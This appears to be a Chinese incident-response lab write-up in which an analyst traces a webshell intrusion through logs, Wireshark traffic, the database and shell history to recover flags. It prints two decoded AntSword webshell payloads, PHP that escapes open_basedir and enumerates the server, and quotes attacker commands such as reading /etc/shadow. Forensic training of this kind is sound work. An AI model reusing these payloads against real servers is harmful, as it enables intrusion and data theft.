这个靶机来源于微信公众号:知攻善防实验室。靶机已在灵境靶场平台(LingJing)上线。
背景
靶机描述:
靶机
情景模拟 (应急响应):
你在监控中发现服务器出现 Webshell 告警,领导让你立即上机排查,找出攻击者的入侵路径、上传的木马、修改的账号密码等关键信息。
Web:http://ip,后台管理员:peadmin/Network@2020
BT:https://ip:8888/LingJing,账号密码:LingJing/LingJing
ssh:22 端口,root/zgsf2025
连上 ssh 后,在 /root 路径下运行./wp 查看题目
注意:该靶机存在许多非预期解,请合理练习应急响应技能。
你需要通过分析日志、数据库、流量包、文件系统等,找到以下信息:
1, 提交攻击者 IP
2, 提交攻击者修改的管理员密码 (明文)
3, 提交第一次 Webshell 的连接 URL(http://xxx.xxx.xxx.xx/abcdefg?abcdefg 只需要提交 abcdefg?abcdefg)
4, 提交 Webshell 连接密码
5, 提交数据包的 flag1
6, 提交攻击者使用的后续上传的木马文件名称
7, 提交攻击者隐藏的 flag2
8, 提交攻击者隐藏的 flag3
注意事项
靶机存在非预期解,建议练习时注重应急响应思路,不要仅追求“跑通答案”。
建议关闭防火墙和实时防护,避免木马文件被自动清除。
通关
要求:
1,提交攻击者IP
2,提交攻击者修改的管理员密码(明文)
3,提交第一次Webshell的连接URL(http://xxx.xxx.xxx.xx/abcdefg?abcdefg只需要提交abcdefg?abcdefg)
4,提交Webshell连接密码
5,提交数据包的flag1
6,提交攻击者使用的后续上传的木马文件名称
7,提交攻击者隐藏的flag2
8,提交攻击者隐藏的flag3首先通过 SSH 连接上我们的靶机,执行如下命令来查看当前主机最近的登录情况,如果攻击者登录成功,我们就可以查到记录。
grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'执行成功。

发现除了我自己的 IP 地址之外,还有192.168.20.1这个 IP 地址有多条登录记录!那么这个很有可能就是攻击者的 IP。
我们接着往下进行,发现主机运行着Nginx和Mysql,那么第二条要求的管理员密码就是和这两个有关。
发现 root 目录下有一个流量包文件。我们下载下来分析。

用wireshark打开流量包,过滤一下 http 报文,发现都是192.168.20.1在访问我们的 Linux 主机。

过滤过程中发现了 /flag1 路由,我们追踪一下,得到了我们的第一个 Flag:flag1{Network@_2020_Hack}

除此之外,访问的 URL 就都是index.php?user-app-register和version2.php了。
我们同样追踪 http 流。

我们观察到请求体里面有个ini_set 函数,这是蚁剑的特征函数,这里可以得知,攻击者使用的是蚁剑管理的 Webshell,最前面的Network2020就是 Webshell 的连接密码。由此可以得到,攻击者第一次 Webshell 的连接 URL 就是index.php?user-app-register。
我们将这段进行解码,看看攻击者在干什么。

得到的 PHP 代码如下:
Network2020=@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)) {
continue;
}
;
$tmdir=$item."/.fd491f470fb7";
@mkdir($tmdir);
if(!@file_exists($tmdir)) {
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\|\//",$tmdir);
for ($i=0;$i<sizeof($cntarr);$i++) {
@chdir("..");
}
;
@ini_set("open_basedir","/");
@rmdir($tmdir);
break;
}
;
}
;
;
function asenc($out) {
return $out;
}
;
function asoutput() {
$output=ob_get_contents();
ob_end_clean();
echo "4a0c"."dc70";
echo @asenc($output);
echo "db6"."da5";
}
ob_start();
try {
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/") {
foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
} else {
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;
;
}
catch(Exception $e) {
echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();这段代码是一个经过混淆的 Webshell,主要用于探测服务器环境信息并尝试绕过安全限制。
接下来我们找找密码,如果攻击者修改了管理员的密码,那么修改后的密码应该存在数据库中。我们直接由宝塔面板访问数据库。

登录数据库,查找管理员密码。先进入用户组,查看id和用户身份的关系。

发现id为1的则为管理员,那么我们进入用户表,直接查找Id为1的用户。

找到了,但密码是 MD5 加密后的值,我们进行解密。解密成功,密码为Network@2020

然后我们分析一下请求index.php?user-app-register地址的第二个流量包,得到 PHP 代码如下:
Network2020=@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)) {
continue;
}
;
$tmdir=$item."/.24b0d";
@mkdir($tmdir);
if(!@file_exists($tmdir)) {
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\|\//",$tmdir);
for ($i=0;$i<sizeof($cntarr);$i++) {
@chdir("..");
}
;
@ini_set("open_basedir","/");
@rmdir($tmdir);
break;
}
;
}
;
;
function asenc($out) {
return $out;
}
;
function asoutput() {
$output=ob_get_contents();
ob_end_clean();
echo "02e"."9bd";
echo @asenc($output);
echo "6f2"."72a8";
}
ob_start();
try {
$D=base64_decode(substr($_POST["x0b6b31b98f31d"],2));
$F=@opendir($D);
if($F==NULL) {
echo("ERROR:// Path Not Found Or No Permission!");
} else {
$M=NULL;
$L=NULL;
while($N=@readdir($F)) {
$P=$D.$N;
$T=@date("Y-m-d H:i:s",@filemtime($P));
@$E=substr(base_convert(@fileperms($P),10,8),-4);
$R=" ".$T." ".@filesize($P)." ".$E."
";
if(@is_dir($P))$M.=$N."/".$R; else $L.=$N.$R;
}
echo $M.$L;
@closedir($F);
}
;
}
catch(Exception $e) {
echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();
x0b6b31b98f31d=TtL3d3dy93d3dyb290LzEyNy4wLjAuMS8=其中,最后一行的x0b6b31b98f31d=TtL3d3dy93d3dyb290LzEyNy4wLjAuMS8=是需要执行的参数,因为蚁剑会将参数进行base64编码,然后在最前面随机添加两个字母,所以参数应该是对L3d3dy93d3dyb290LzEyNy4wLjAuMS8=进行base64解码,得到 /www/wwwroot/127.0.0.1/。

分析了一下这些流量包后,发现攻击者在 /www/wwwroot/127.0.0.1/ 目录下创建了flag1 文件并写入 flag,然后写入一个新的木马 shell.php,再改名为version2.php,那么后续访问version2.php的流量包应该就是后续上传的木马文件了。
追踪 version2.php 的 http 流,发现是加密的。

到这里,攻击者已经 getshell 了。我们回到 Linux 主机。
输入env查看环境变量,没想到直接得到第三个 Flag 了。

或者不看环境变量,这里输入history,查看攻击者在主机上进行了什么操作。
[root@web-server ~]# history
...此处省略...
69 cd 127.0.0.1/
70 ls
71 ls -a
72 vim .api
73 ls
74 ls -a
75 mkdir .api
76 ls
77 ls -a
78 cd .api/
79 l
80 ls
81 cd ..
82 ls
83 cd ap
84 cd api/
85 ls
86 cp * ../.api/
87 ls
88 cd ..
89 ls
90 cd .api/
91 ls
92 vim mpnotify.php
93 yum install vim
94 ls
95 vim alinotify.php
96 cat /etc/shadow
97 who
98 w
99 history
100 useradd flag3{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}
101 env
102 $flag3 = [root@web-server .api]# useradd flag3{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}
103 useradd: invalid user name 'flag3{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}'
104 $flag3 = flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}
105 vim /etc/profile
106 source /etc/p
107 source /etc/profile
108 env通过history命令,发现攻击者在环境变量中写入了第三个 flag:flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ},并且攻击者在/www/wwwroot/127.0.0.1/ 中创建了文件夹.api隐藏文件,然后复制了api下的文件,并修改了其中的alinotify.php文件。查看一下这个文件,看看攻击者干了什么。

在最后一行发现了 Flag2:flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}。
综上:

成功解出靶机!